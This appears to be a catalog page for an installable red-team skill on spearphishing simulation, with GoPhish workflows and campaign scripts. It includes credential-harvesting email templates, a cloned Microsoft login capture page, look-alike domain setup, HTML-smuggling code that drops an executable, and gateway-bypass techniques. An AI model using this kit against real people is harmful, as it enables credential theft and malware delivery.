red teaming

Conducting Spearphishing Simulation Campaign

Spearphishing simulation is a targeted social engineering attack vector used by red teams to gain initial access. Unlike broad phishing campaigns, spearphishing uses OSINT-derived intelligence to craft highly personalized messages targeting specific individuals. This skill covers developing pretexts, building payloads, setting up email infrastructure, executing the campaign, and tracking results.

adversary-simulationexploitationmitre-attackpost-exploitationred-teamsocial-engineeringspearphishing
Install this skill
npx skills add mukul975/Anthropic-Cybersecurity-Skills
Framework mappings

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Overview

Spearphishing simulation is a targeted social engineering attack vector used by red teams to gain initial access. Unlike broad phishing campaigns, spearphishing uses OSINT-derived intelligence to craft highly personalized messages targeting specific individuals. This skill covers developing pretexts, building payloads, setting up email infrastructure, executing the campaign, and tracking results.

When to Use

  • When conducting security assessments that involve conducting spearphishing simulation campaign
  • When following incident response procedures for related security events
  • When performing scheduled security testing or auditing activities
  • When validating security controls through hands-on testing

Prerequisites

  • Familiarity with red teaming concepts and tools
  • Access to a test or lab environment for safe execution
  • Python 3.8+ with required dependencies installed
  • Appropriate authorization for any testing activities

Objectives

  • Develop convincing pretexts tailored to specific target personnel
  • Create weaponized payloads that bypass email security controls
  • Set up email delivery infrastructure with proper SPF/DKIM/DMARC configuration
  • Execute phishing campaigns with real-time tracking and metrics
  • Document results for engagement reporting and security awareness improvement

MITRE ATT&CK Mapping

  • T1566.001 - Phishing: Spearphishing Attachment
  • T1566.002 - Phishing: Spearphishing Link
  • T1566.003 - Phishing: Spearphishing via Service
  • T1598.003 - Phishing for Information: Spearphishing Link
  • T1204.001 - User Execution: Malicious Link
  • T1204.002 - User Execution: Malicious File
  • T1608.001 - Stage Capabilities: Upload Malware
  • T1608.005 - Stage Capabilities: Link Target
  • T1583.001 - Acquire Infrastructure: Domains
  • T1585.002 - Establish Accounts: Email Accounts

Workflow

Phase 1: Pretext Development

  1. Review OSINT findings for target personnel profiles
  2. Identify current organizational events (mergers, projects, new hires)
  3. Select pretext theme (IT helpdesk, HR benefits, vendor communication, executive request)
  4. Craft email templates with appropriate urgency and authority cues
  5. Create landing pages that mirror target organization's branding

Phase 2: Payload Development

  1. Select payload type based on target security controls:
    • HTML smuggling for email gateway bypass
    • Macro-enabled documents (if macros not blocked)
    • ISO/IMG files containing LNK payloads
    • OneNote files with embedded scripts
    • QR codes linking to credential harvesting pages
  2. Test payload against target's known security stack
  3. Implement payload obfuscation techniques
  4. Configure callback to C2 infrastructure

Phase 3: Infrastructure Setup

  1. Register convincing look-alike domain
  2. Age domain and build reputation (minimum 2 weeks recommended)
  3. Configure SPF, DKIM, and DMARC records
  4. Set up SMTP relay with GoPhish or custom mail server
  5. Deploy credential harvesting pages with SSL certificates
  6. Configure tracking pixels and click tracking

Phase 4: Campaign Execution

  1. Send test emails to verify delivery and rendering
  2. Launch campaign in waves (avoid mass sending)
  3. Monitor email delivery rates and opens in real-time
  4. Track link clicks and credential submissions
  5. Deploy payloads to users who interact with phishing emails
  6. Capture screenshots and evidence for reporting

Phase 5: Post-Campaign Analysis

  1. Calculate campaign metrics (delivery rate, open rate, click rate, credential capture rate)
  2. Identify users who reported phishing to SOC
  3. Document bypass of email security controls
  4. Map successful compromises to MITRE ATT&CK
  5. Compile findings for engagement report

Tools and Resources

Tool Purpose License
GoPhish Phishing campaign management Open Source
Evilginx2 Real-time credential harvesting with MFA bypass Open Source
King Phisher Phishing campaign toolkit Open Source
SET (Social Engineering Toolkit) Multi-vector social engineering Open Source
Modlishka Reverse proxy phishing Open Source
CredSniper Credential harvesting framework Open Source
Fierce Phish Phishing framework Open Source

Validation Criteria

  • Pretext tailored to specific targets with OSINT data
  • Payload tested against email security controls
  • Infrastructure configured with proper email authentication
  • Campaign tracked with delivery and interaction metrics
  • Evidence collected for engagement report
  • Cleanup performed on infrastructure post-campaign
Source materials

References and resources

Everything below is rendered for inspection. Script files are read-only and never run.

References 3

api-reference.md1.6 KB

Spearphishing Simulation Campaign — API Reference

Libraries

Library Install Purpose
requests pip install requests GoPhish REST API client
gophish pip install gophish Official GoPhish Python SDK
jinja2 pip install Jinja2 Email template rendering

GoPhish API Endpoints

Method Endpoint Description
POST /api/campaigns/ Launch new phishing campaign
GET /api/campaigns/{id}/summary Campaign results summary
GET /api/campaigns/{id}/results Detailed per-target results
POST /api/templates/ Create email template
POST /api/pages/ Create credential capture landing page
POST /api/groups/ Create target recipient group

GoPhish Template Variables

Variable Description
{{.FirstName}} Target's first name
{{.LastName}} Target's last name
{{.Email}} Target's email address
{{.Position}} Target's job title
{{.From}} Sender display name
{{.URL}} Tracking/phishing link

Campaign Metrics

Metric Description Industry Avg
Open Rate Percentage who opened email 30-40%
Click Rate Percentage who clicked link 10-20%
Submit Rate Percentage who entered data 5-10%
Report Rate Percentage who reported to IT 5-15%

External References

standards.md2.9 KB

Standards and Framework References

MITRE ATT&CK - Initial Access (TA0001)

Technique ID Name Sub-technique
T1566.001 Spearphishing Attachment Malicious files delivered via email
T1566.002 Spearphishing Link URLs in emails directing to malicious content
T1566.003 Spearphishing via Service Phishing through third-party services
T1598.001 Phishing for Information: Spearphishing Service Info gathering via services
T1598.002 Phishing for Information: Spearphishing Attachment Credential harvesting attachments
T1598.003 Phishing for Information: Spearphishing Link Credential harvesting links

MITRE ATT&CK - Execution (TA0002)

Technique ID Name Description
T1204.001 User Execution: Malicious Link User clicks phishing link
T1204.002 User Execution: Malicious File User opens malicious attachment

MITRE ATT&CK - Resource Development (TA0042)

Technique ID Name Description
T1583.001 Acquire Infrastructure: Domains Register phishing domains
T1583.006 Acquire Infrastructure: Web Services Use web services for phishing
T1585.001 Establish Accounts: Social Media Create fake social media profiles
T1585.002 Establish Accounts: Email Accounts Create email accounts for sending
T1608.001 Stage Capabilities: Upload Malware Host payloads for download
T1608.005 Stage Capabilities: Link Target Prepare phishing URLs

PTES - Social Engineering

Pre-text Creation

  • Research-based pretext development
  • Authority, urgency, and scarcity principles
  • Robert Cialdini's principles of influence
  • Corporate communication mimicry

Attack Vectors

  • Email-based spearphishing
  • Voice phishing (vishing) support calls
  • SMS phishing (smishing)
  • Social media-based pretexting

NIST SP 800-177 - Trustworthy Email

Email Authentication Protocols

  • SPF (Sender Policy Framework)
  • DKIM (DomainKeys Identified Mail)
  • DMARC (Domain-based Message Authentication)

Email Security Controls

  • Email gateway filtering
  • URL rewriting and sandboxing
  • Attachment analysis
  • Domain reputation scoring

CIS Controls v8

Control 14: Security Awareness and Skills Training

  • 14.1: Establish and Maintain a Security Awareness Program
  • 14.2: Train Workforce Members to Recognize Social Engineering Attacks
  • 14.3: Train Workforce Members on Authentication Best Practices

Email Security Bypass Techniques Reference

Technique Bypasses Risk Level
HTML Smuggling Email attachment scanning High
Domain Age/Reputation New domain blocking Medium
Legitimate Service Abuse Domain reputation filters High
SPF/DKIM/DMARC Alignment Email authentication checks Medium
File Format Alternatives Attachment type blocking Medium
QR Code Phishing URL analysis engines High
workflows.md6.6 KB

Spearphishing Simulation Campaign Workflows

Workflow 1: GoPhish Campaign Setup

Step 1: Install and Configure GoPhish

# Download GoPhish
wget https://github.com/gophish/gophish/releases/latest/download/gophish-v0.12.1-linux-64bit.zip
unzip gophish-v0.12.1-linux-64bit.zip -d /opt/gophish
cd /opt/gophish
 
# Generate SSL certificate for admin panel
openssl req -newkey rsa:2048 -nodes -keyout gophish.key -x509 -days 365 -out gophish.crt
 
# Edit config.json
# Set admin_server listen_url to 0.0.0.0:3333
# Set phish_server listen_url to 0.0.0.0:443
 
# Start GoPhish
./gophish

Step 2: Configure Sending Profile

Name: Red Team SMTP
SMTP From: it-support@targetcorp-helpdesk.com
Host: mail.phishing-infra.com:587
Username: operator@phishing-infra.com
Password: [SECURE_PASSWORD]
Ignore Certificate Errors: No
Headers:
  X-Mailer: Microsoft Outlook 16.0
  Reply-To: it-support@targetcorp-helpdesk.com

Step 3: Create Email Template

Subject: [ACTION REQUIRED] Password Expiry Notice - {{.FirstName}}
 
Dear {{.FirstName}} {{.LastName}},
 
Your corporate password will expire in 24 hours. To maintain
access to company resources, please update your password
immediately using our secure portal.
 
<a href="{{.URL}}">Update Password Now</a>
 
This is an automated message from IT Security.
Please complete this action before {{.BaseRecipient}} loses access.
 
Best regards,
IT Security Team
{{.Tracker}}

Step 4: Create Landing Page

Import Site: https://login.microsoftonline.com
Capture Submitted Data: Yes
Capture Passwords: Yes
Redirect To: https://portal.office.com (after credential capture)

Step 5: Configure Target Group

Import from CSV:
First Name, Last Name, Email, Position
John,Smith,john.smith@targetcorp.com,IT Manager
Jane,Doe,jane.doe@targetcorp.com,HR Director

Step 6: Launch Campaign

Name: RT-2024-001 Password Expiry
Email Template: Password Expiry Notice
Landing Page: O365 Login Clone
Sending Profile: Red Team SMTP
Groups: Target Group Alpha
Launch Date: [SCHEDULED_DATE]
Send Emails By: [STAGGER_OVER_4_HOURS]

Workflow 2: Infrastructure Preparation

Step 1: Domain Selection and Registration

# Research similar-looking domains (typosquatting)
# targetcorp.com -> targetcorp-it.com, targetc0rp.com, targetcorp.co
 
# Domain categorization check
# Use tools like Bluecoat/Symantec Site Review to check categorization
# Uncategorized domains may be blocked
 
# Register domain through privacy-protected registrar
# Age domain for minimum 2 weeks before use

Step 2: Email Authentication Setup

# SPF Record
# Type: TXT
# Host: @
# Value: v=spf1 ip4:<MAIL_SERVER_IP> include:_spf.google.com ~all
 
# DKIM Setup
opendkim-genkey -s default -d phishing-domain.com
# Add TXT record: default._domainkey.phishing-domain.com
# Value: v=DKIM1; k=rsa; p=<PUBLIC_KEY>
 
# DMARC Record
# Type: TXT
# Host: _dmarc
# Value: v=DMARC1; p=none; rsp=100; adkim=s; aspf=s

Step 3: SSL Certificate Setup

# Using Let's Encrypt for legitimate SSL
certbot certonly --standalone -d phishing-domain.com
certbot certonly --standalone -d login.phishing-domain.com
 
# Configure certificates in GoPhish/web server

Workflow 3: Payload Development

HTML Smuggling Payload

<!-- HTML Smuggling - bypasses email gateway scanning -->
<html>
<body>
<script>
// Base64 encoded payload
var payload = "TVqQAAMAAAAEAAAA..."; // Encoded executable
var binary = atob(payload);
var array = new Uint8Array(binary.length);
for (var i = 0; i < binary.length; i++) {
    array[i] = binary.charCodeAt(i);
}
var blob = new Blob([array], {type: "application/octet-stream"});
var link = document.createElement("a");
link.href = URL.createObjectURL(blob);
link.download = "Update_Required.exe";
link.click();
</script>
<p>Your document is downloading. If the download does not start,
<a href="#" id="manual-download">click here</a>.</p>
</body>
</html>

Macro-Enabled Document Workflow

1. Create legitimate-looking document template
2. Add VBA macro for payload execution:
   - AutoOpen() or Document_Open() trigger
   - Download cradle using PowerShell or certutil
   - Execute payload from %TEMP% directory
3. Test against target's known AV/EDR solution
4. Obfuscate macro code to bypass static analysis

ISO/LNK Payload Chain

1. Create ISO file containing:
   - Legitimate-looking LNK shortcut
   - Hidden DLL or executable payload
   - Decoy document for user satisfaction
2. LNK file executes hidden payload via:
   - rundll32.exe to load DLL
   - mshta.exe to execute HTA
   - PowerShell download cradle
3. ISO bypasses Mark-of-the-Web (MotW) on older Windows

Workflow 4: Campaign Execution and Monitoring

Pre-Launch Checklist

- [ ] Domain aged and categorized
- [ ] SPF/DKIM/DMARC configured
- [ ] SSL certificates installed
- [ ] Email templates tested for rendering
- [ ] Landing pages functional and capturing data
- [ ] Payload tested against target's security stack
- [ ] C2 callback verified
- [ ] Tracking pixels loading correctly
- [ ] Target list finalized and imported
- [ ] Campaign schedule confirmed with engagement lead

Launch Procedure

1. Send initial test email to red team operator
2. Verify delivery, rendering, and link tracking
3. Launch Wave 1: High-priority targets (5-10 users)
4. Monitor for 1 hour - check delivery and open rates
5. Verify no immediate blocks or quarantine
6. Launch Wave 2: Remaining targets (staggered over 2-4 hours)
7. Monitor dashboard continuously for first 4 hours
8. Check for credential captures and payload executions
9. Document all interactions with timestamps

Real-Time Monitoring

Track and document:
- Email delivery success/failure rates
- Email open rates (tracking pixel)
- Link click rates
- Credential submission events
- Payload download events
- Callback/beacon events
- User reports to SOC
- Time between delivery and interaction

Workflow 5: Post-Campaign Reporting

Metrics Calculation

Delivery Rate = (Emails Delivered / Emails Sent) x 100
Open Rate = (Unique Opens / Emails Delivered) x 100
Click Rate = (Unique Clicks / Emails Delivered) x 100
Credential Capture Rate = (Credentials Captured / Emails Delivered) x 100
Payload Execution Rate = (Payloads Executed / Emails Delivered) x 100
Report Rate = (Users Who Reported / Emails Delivered) x 100

Evidence Collection

For each successful interaction:
1. Screenshot of GoPhish dashboard showing the event
2. Captured credentials (hash, not plaintext in report)
3. C2 beacon screenshot showing initial callback
4. Timeline of events from delivery to compromise
5. Email headers showing delivery path

Scripts 2

agent.py5.0 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
# For authorized penetration testing and educational environments only.
# Usage against targets without prior mutual consent is illegal.
# It is the end user's responsibility to obey all applicable local, state and federal laws.
"""Spearphishing simulation campaign agent using GoPhish API."""

import json
import sys
import argparse
from datetime import datetime

try:
    import requests
    requests.packages.urllib3.disable_warnings()
except ImportError:
    print("Install: pip install requests")
    sys.exit(1)


class GoPhishCampaign:
    """GoPhish campaign manager for spearphishing simulations."""

    def __init__(self, base_url, api_key):
        self.url = base_url.rstrip("/")
        self.headers = {"Authorization": f"Bearer {api_key}"}

    def _req(self, method, endpoint, data=None):
        resp = requests.request(method, f"{self.url}/api/{endpoint}",
                                headers=self.headers, json=data, verify=False)
        resp.raise_for_status()
        return resp.json()

    def create_campaign(self, name, template_id, page_id, smtp_id, group_id, launch_date=None):
        return self._req("POST", "campaigns/", {
            "name": name, "template": {"id": template_id},
            "page": {"id": page_id}, "smtp": {"id": smtp_id},
            "groups": [{"id": group_id}],
            "launch_date": launch_date or datetime.utcnow().isoformat() + "Z",
        })

    def get_summary(self, campaign_id):
        return self._req("GET", f"campaigns/{campaign_id}/summary")

    def list_campaigns(self):
        return self._req("GET", "campaigns/")

    def complete_campaign(self, campaign_id):
        return self._req("DELETE", f"campaigns/{campaign_id}")


def generate_spearphish_templates():
    """Generate targeted spearphishing email templates."""
    return [
        {
            "name": "Shared Document Notification",
            "subject": "{{.FirstName}}, {{.From}} shared a document with you",
            "category": "credential_harvest",
            "difficulty": "easy",
        },
        {
            "name": "IT Security Alert",
            "subject": "Action Required: Unusual sign-in activity on your account",
            "category": "credential_harvest",
            "difficulty": "medium",
        },
        {
            "name": "Payroll Update Request",
            "subject": "Important: Verify your direct deposit information",
            "category": "credential_harvest",
            "difficulty": "medium",
        },
        {
            "name": "Conference Registration",
            "subject": "Your registration for {{.Position}} Summit is confirmed",
            "category": "link_click",
            "difficulty": "hard",
        },
    ]


def analyze_campaign_metrics(summary):
    """Analyze campaign summary for executive reporting."""
    stats = summary.get("stats", {})
    total = stats.get("total", 1)
    return {
        "total_targets": total,
        "emails_sent": stats.get("sent", 0),
        "emails_opened": stats.get("opened", 0),
        "links_clicked": stats.get("clicked", 0),
        "data_submitted": stats.get("submitted_data", 0),
        "reported": stats.get("email_reported", 0),
        "open_rate_pct": round(stats.get("opened", 0) / max(total, 1) * 100, 1),
        "click_rate_pct": round(stats.get("clicked", 0) / max(total, 1) * 100, 1),
        "submit_rate_pct": round(stats.get("submitted_data", 0) / max(total, 1) * 100, 1),
    }


def run_simulation(base_url=None, api_key=None, campaign_id=None):
    """Execute spearphishing simulation analysis."""
    print(f"\n{'='*60}")
    print(f"  SPEARPHISHING SIMULATION CAMPAIGN")
    print(f"  Generated: {datetime.utcnow().isoformat()} UTC")
    print(f"{'='*60}\n")

    templates = generate_spearphish_templates()
    print(f"--- SPEARPHISH TEMPLATES ({len(templates)}) ---")
    for t in templates:
        print(f"  [{t['difficulty'].upper()}] {t['name']}: {t['subject'][:60]}")

    if base_url and api_key:
        client = GoPhishCampaign(base_url, api_key)
        if campaign_id:
            summary = client.get_summary(campaign_id)
            metrics = analyze_campaign_metrics(summary)
            print(f"\n--- CAMPAIGN METRICS ---")
            for k, v in metrics.items():
                print(f"  {k}: {v}")
            return {"templates": templates, "metrics": metrics}

    return {"templates": templates}


def main():
    parser = argparse.ArgumentParser(description="Spearphishing Simulation Agent")
    parser.add_argument("--gophish-url", help="GoPhish server URL")
    parser.add_argument("--api-key", help="GoPhish API key")
    parser.add_argument("--campaign-id", type=int, help="Campaign ID for metrics")
    parser.add_argument("--output", help="Save report to JSON file")
    args = parser.parse_args()

    report = run_simulation(args.gophish_url, args.api_key, args.campaign_id)
    if args.output:
        with open(args.output, "w") as f:
            json.dump(report, f, indent=2, default=str)
        print(f"\n[+] Report saved to {args.output}")


if __name__ == "__main__":
    main()
process.py21.4 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""
Spearphishing Simulation Campaign Manager

Automates phishing campaign preparation including:
- Email template generation with personalization
- Domain reputation checking
- Email authentication validation (SPF/DKIM/DMARC)
- Campaign metrics analysis
- Phishing report generation

Usage:
    python process.py --mode setup --domain phishing-domain.com
    python process.py --mode template --pretext password-expiry --targets targets.csv
    python process.py --mode validate --domain phishing-domain.com
    python process.py --mode report --campaign-data results.json

Requirements:
    pip install requests dnspython rich jinja2
"""

import argparse
import csv
import json
import sys
from datetime import datetime
from pathlib import Path
from typing import Any

try:
    import dns.resolver
    import requests
    from rich.console import Console
    from rich.table import Table
    from rich.panel import Panel
except ImportError:
    print("[!] Missing dependencies. Install with: pip install requests dnspython rich")
    sys.exit(1)

console = Console()

# Spearphishing pretext templates
PRETEXT_TEMPLATES = {
    "password-expiry": {
        "subject": "[ACTION REQUIRED] Password Expiry Notice - {first_name}",
        "body": """Dear {first_name} {last_name},

Your corporate password will expire in 24 hours. To maintain uninterrupted
access to company resources, please update your password immediately
using our secure self-service portal.

Update Password: {phishing_url}

If you have already updated your password, please disregard this message.

This is an automated message from the IT Security Team.
Do not reply to this email.

Best regards,
IT Security Team
{company_name}

{tracking_pixel}""",
        "urgency": "high",
        "authority": "IT Security",
    },
    "shared-document": {
        "subject": "{sender_name} shared a document with you: Q4 Financial Review",
        "body": """{first_name},

{sender_name} has shared a document with you via our secure file sharing platform.

Document: Q4 Financial Review - {company_name}
Shared by: {sender_name} ({sender_title})
Access expires: 48 hours

View Document: {phishing_url}

You are receiving this because {sender_name} included you in the
document sharing list. If you believe this was sent in error,
please contact {sender_name} directly.

Powered by SecureShare
{company_name} Document Management

{tracking_pixel}""",
        "urgency": "medium",
        "authority": "Colleague",
    },
    "hr-benefits": {
        "subject": "Important: Open Enrollment Benefits Update - Action Required",
        "body": """Dear {first_name},

As part of our annual benefits enrollment period, we are pleased to announce
updated benefits packages for all employees. Please review and confirm your
selections before the enrollment deadline.

Key updates include:
- Enhanced health coverage options
- New wellness program benefits
- Updated 401(k) matching contributions

Review Your Benefits: {phishing_url}

Deadline: {deadline_date}

If you have questions about your benefits options, please contact
the HR Benefits team.

Warm regards,
Human Resources Department
{company_name}

{tracking_pixel}""",
        "urgency": "medium",
        "authority": "HR Department",
    },
    "mfa-enrollment": {
        "subject": "Security Update: Multi-Factor Authentication Enrollment Required",
        "body": """Hello {first_name},

As part of our ongoing security improvements, all employees are required
to enroll in our new Multi-Factor Authentication (MFA) system by {deadline_date}.

This upgrade is mandatory and will help protect your account and
company data from unauthorized access.

Enroll Now: {phishing_url}

What you will need:
- Your current corporate credentials
- Your mobile phone for authenticator setup

Employees who do not complete enrollment by the deadline may experience
temporary access disruptions.

Thank you for your cooperation in keeping {company_name} secure.

IT Security Operations
{company_name}

{tracking_pixel}""",
        "urgency": "high",
        "authority": "IT Security",
    },
    "invoice-payment": {
        "subject": "Invoice #{invoice_number} - Payment Confirmation Required",
        "body": """Dear {first_name},

Please find attached the invoice for services rendered. We kindly request
your review and payment confirmation at your earliest convenience.

Invoice Number: #{invoice_number}
Amount Due: ${amount}
Due Date: {deadline_date}

View Invoice: {phishing_url}

If you have any questions regarding this invoice, please do not hesitate
to contact our accounts department.

Best regards,
{sender_name}
Accounts Receivable
{vendor_name}

{tracking_pixel}""",
        "urgency": "high",
        "authority": "Vendor",
    },
    "voicemail": {
        "subject": "You have a new voicemail from {sender_name} ({phone_number})",
        "body": """You received a voicemail

From: {sender_name}
Number: {phone_number}
Duration: 0:47
Date: {current_date}

Play Voicemail: {phishing_url}

This message was sent from your corporate voice messaging system.

{tracking_pixel}""",
        "urgency": "low",
        "authority": "System",
    },
}


def validate_email_authentication(domain: str) -> dict:
    """Validate SPF, DKIM, and DMARC configuration for a domain."""
    results = {
        "spf": {"configured": False, "record": None, "issues": []},
        "dkim": {"configured": False, "record": None, "issues": []},
        "dmarc": {"configured": False, "record": None, "issues": []},
    }

    # Check SPF
    try:
        answers = dns.resolver.resolve(domain, "TXT")
        for rdata in answers:
            txt = str(rdata).strip('"')
            if txt.startswith("v=spf1"):
                results["spf"]["configured"] = True
                results["spf"]["record"] = txt

                if "~all" in txt:
                    results["spf"]["issues"].append("Soft fail (~all) - consider using -all")
                elif "+all" in txt:
                    results["spf"]["issues"].append("WARNING: +all allows any sender")
                elif "-all" in txt:
                    results["spf"]["issues"].append("Hard fail (-all) - strict configuration")

                if txt.count("include:") > 10:
                    results["spf"]["issues"].append("Too many includes - may exceed DNS lookup limit")
    except Exception as e:
        results["spf"]["issues"].append(f"DNS query failed: {e}")

    # Check DKIM (common selectors)
    dkim_selectors = ["default", "google", "selector1", "selector2", "k1", "mail", "dkim"]
    for selector in dkim_selectors:
        try:
            answers = dns.resolver.resolve(f"{selector}._domainkey.{domain}", "TXT")
            for rdata in answers:
                txt = str(rdata).strip('"')
                if "v=DKIM1" in txt or "k=rsa" in txt:
                    results["dkim"]["configured"] = True
                    results["dkim"]["record"] = f"Selector: {selector} - {txt[:100]}..."
                    break
        except Exception:
            pass
        if results["dkim"]["configured"]:
            break

    if not results["dkim"]["configured"]:
        results["dkim"]["issues"].append("No DKIM record found for common selectors")

    # Check DMARC
    try:
        answers = dns.resolver.resolve(f"_dmarc.{domain}", "TXT")
        for rdata in answers:
            txt = str(rdata).strip('"')
            if txt.startswith("v=DMARC1"):
                results["dmarc"]["configured"] = True
                results["dmarc"]["record"] = txt

                if "p=none" in txt:
                    results["dmarc"]["issues"].append("Policy is 'none' - no enforcement")
                elif "p=quarantine" in txt:
                    results["dmarc"]["issues"].append("Policy is 'quarantine' - moderate enforcement")
                elif "p=reject" in txt:
                    results["dmarc"]["issues"].append("Policy is 'reject' - strict enforcement")
    except Exception as e:
        results["dmarc"]["issues"].append(f"No DMARC record found: {e}")

    return results


def generate_email_template(
    pretext: str,
    targets_file: str,
    company_name: str = "Target Corp",
    phishing_url: str = "https://login.example.com",
    output_dir: str = "./templates",
) -> list[dict]:
    """Generate personalized email templates for each target."""

    if pretext not in PRETEXT_TEMPLATES:
        console.print(f"[red][-] Unknown pretext: {pretext}[/red]")
        console.print(f"[yellow]Available: {', '.join(PRETEXT_TEMPLATES.keys())}[/yellow]")
        return []

    template = PRETEXT_TEMPLATES[pretext]
    out_path = Path(output_dir)
    out_path.mkdir(parents=True, exist_ok=True)

    emails = []
    try:
        with open(targets_file, "r") as f:
            reader = csv.DictReader(f)
            for row in reader:
                from datetime import timedelta

                personalized = {
                    "to": row.get("email", row.get("Email", "")),
                    "subject": template["subject"].format(
                        first_name=row.get("first_name", row.get("First Name", "User")),
                        sender_name="Michael Thompson",
                        invoice_number="INV-2024-4821",
                    ),
                    "body": template["body"].format(
                        first_name=row.get("first_name", row.get("First Name", "User")),
                        last_name=row.get("last_name", row.get("Last Name", "")),
                        company_name=company_name,
                        phishing_url=phishing_url,
                        sender_name="Michael Thompson",
                        sender_title="VP of Finance",
                        deadline_date=(datetime.now() + timedelta(days=3)).strftime("%B %d, %Y"),
                        current_date=datetime.now().strftime("%B %d, %Y %I:%M %p"),
                        invoice_number="INV-2024-4821",
                        amount="4,750.00",
                        vendor_name="Apex Business Solutions",
                        phone_number="+1 (555) 867-5309",
                        tracking_pixel='<img src="{tracking_url}" width="1" height="1" />',
                    ),
                    "urgency": template["urgency"],
                    "authority": template["authority"],
                }
                emails.append(personalized)
    except FileNotFoundError:
        console.print(f"[red][-] Targets file not found: {targets_file}[/red]")
        return []
    except Exception as e:
        console.print(f"[red][-] Error processing targets: {e}[/red]")
        return []

    # Save generated emails
    emails_path = out_path / f"campaign_emails_{pretext}.json"
    with open(emails_path, "w") as f:
        json.dump(emails, f, indent=2)

    console.print(f"[green][+] Generated {len(emails)} personalized emails[/green]")
    console.print(f"[green][+] Saved to: {emails_path}[/green]")

    return emails


def check_domain_reputation(domain: str) -> dict:
    """Check domain reputation and categorization status."""
    results = {
        "domain": domain,
        "checks": {},
    }

    # Check if domain resolves
    try:
        import socket
        ip = socket.gethostbyname(domain)
        results["resolves_to"] = ip
    except Exception:
        results["resolves_to"] = "DOES NOT RESOLVE"

    # Check Google Safe Browsing (requires API key)
    results["checks"]["google_safe_browsing"] = "Manual check required: https://transparencyreport.google.com/safe-browsing/search"

    # Check VirusTotal
    results["checks"]["virustotal"] = f"Manual check required: https://www.virustotal.com/gui/domain/{domain}"

    # Check domain age via WHOIS
    try:
        import whois as python_whois
        w = python_whois.whois(domain)
        if w.creation_date:
            creation = w.creation_date
            if isinstance(creation, list):
                creation = creation[0]
            age_days = (datetime.now() - creation).days
            results["domain_age_days"] = age_days
            if age_days < 14:
                results["domain_age_warning"] = "Domain is less than 14 days old - high risk of being blocked"
            elif age_days < 30:
                results["domain_age_warning"] = "Domain is less than 30 days old - moderate risk"
            else:
                results["domain_age_warning"] = "Domain age is acceptable"
    except Exception:
        results["domain_age_days"] = "Unable to determine"

    # Check categorization services
    results["checks"]["bluecoat"] = "Manual check: https://sitereview.bluecoat.com/"
    results["checks"]["fortiguard"] = "Manual check: https://www.fortiguard.com/webfilter"
    results["checks"]["paloalto"] = "Manual check: https://urlfiltering.paloaltonetworks.com/"
    results["checks"]["mcafee"] = "Manual check: https://trustedsource.org/"

    return results


def analyze_campaign_results(results_file: str, output_dir: str = "./reports") -> dict:
    """Analyze campaign results and generate metrics report."""
    out_path = Path(output_dir)
    out_path.mkdir(parents=True, exist_ok=True)

    try:
        with open(results_file, "r") as f:
            data = json.load(f)
    except Exception as e:
        console.print(f"[red][-] Error loading results: {e}[/red]")
        return {}

    # Calculate metrics
    total_sent = len(data.get("results", []))
    delivered = sum(1 for r in data.get("results", []) if r.get("status") == "delivered")
    opened = sum(1 for r in data.get("results", []) if r.get("opened", False))
    clicked = sum(1 for r in data.get("results", []) if r.get("clicked", False))
    submitted = sum(1 for r in data.get("results", []) if r.get("submitted_data", False))
    reported = sum(1 for r in data.get("results", []) if r.get("reported", False))

    metrics = {
        "total_sent": total_sent,
        "delivered": delivered,
        "opened": opened,
        "clicked": clicked,
        "submitted_credentials": submitted,
        "reported_phishing": reported,
        "delivery_rate": (delivered / total_sent * 100) if total_sent > 0 else 0,
        "open_rate": (opened / delivered * 100) if delivered > 0 else 0,
        "click_rate": (clicked / delivered * 100) if delivered > 0 else 0,
        "credential_capture_rate": (submitted / delivered * 100) if delivered > 0 else 0,
        "report_rate": (reported / delivered * 100) if delivered > 0 else 0,
    }

    # Generate report
    report = f"""# Spearphishing Campaign Results Report

## Campaign Overview
- **Campaign ID:** {data.get('campaign_id', 'N/A')}
- **Date:** {data.get('date', datetime.now().strftime('%Y-%m-%d'))}
- **Pretext:** {data.get('pretext', 'N/A')}
- **Target Count:** {total_sent}

## Metrics Summary

| Metric | Count | Rate |
|--------|-------|------|
| Emails Sent | {total_sent} | 100% |
| Delivered | {delivered} | {metrics['delivery_rate']:.1f}% |
| Opened | {opened} | {metrics['open_rate']:.1f}% |
| Clicked Link | {clicked} | {metrics['click_rate']:.1f}% |
| Submitted Credentials | {submitted} | {metrics['credential_capture_rate']:.1f}% |
| Reported to SOC | {reported} | {metrics['report_rate']:.1f}% |

## Risk Assessment

### Credential Compromise Risk
{"CRITICAL" if metrics['credential_capture_rate'] > 20 else "HIGH" if metrics['credential_capture_rate'] > 10 else "MEDIUM" if metrics['credential_capture_rate'] > 5 else "LOW"}
- {submitted} out of {delivered} users submitted credentials
- These credentials could be used for initial access in a real attack

### Security Awareness Gap
{"CRITICAL" if metrics['report_rate'] < 5 else "HIGH" if metrics['report_rate'] < 15 else "MEDIUM" if metrics['report_rate'] < 30 else "LOW"}
- Only {reported} out of {delivered} users reported the phishing email
- Industry benchmark for phishing report rate is 20-30%

## Recommendations

1. {"Mandatory security awareness training for all users who clicked" if clicked > 0 else "Continue current awareness program"}
2. {"Implement MFA to mitigate credential compromise risk" if submitted > 0 else "Current credential protections appear effective"}
3. {"Improve phishing report mechanisms - too few users reported" if metrics['report_rate'] < 15 else "Phishing reporting culture is adequate"}
4. Review email security gateway rules based on successful deliveries
5. Consider additional technical controls for identified bypass methods

## MITRE ATT&CK Mapping

| Technique | ID | Result |
|-----------|----|--------|
| Spearphishing Link | T1566.002 | {"Successful" if clicked > 0 else "Blocked"} |
| User Execution | T1204.001 | {"Successful" if clicked > 0 else "No interaction"} |
| Valid Accounts | T1078 | {"Credentials captured" if submitted > 0 else "No credentials captured"} |
"""

    report_path = out_path / "phishing_campaign_report.md"
    with open(report_path, "w") as f:
        f.write(report)

    console.print(f"[green][+] Campaign report saved to: {report_path}[/green]")

    # Display summary table
    table = Table(title="Campaign Metrics Summary")
    table.add_column("Metric", style="cyan")
    table.add_column("Count", style="yellow")
    table.add_column("Rate", style="green")

    table.add_row("Emails Sent", str(total_sent), "100%")
    table.add_row("Delivered", str(delivered), f"{metrics['delivery_rate']:.1f}%")
    table.add_row("Opened", str(opened), f"{metrics['open_rate']:.1f}%")
    table.add_row("Clicked", str(clicked), f"{metrics['click_rate']:.1f}%")
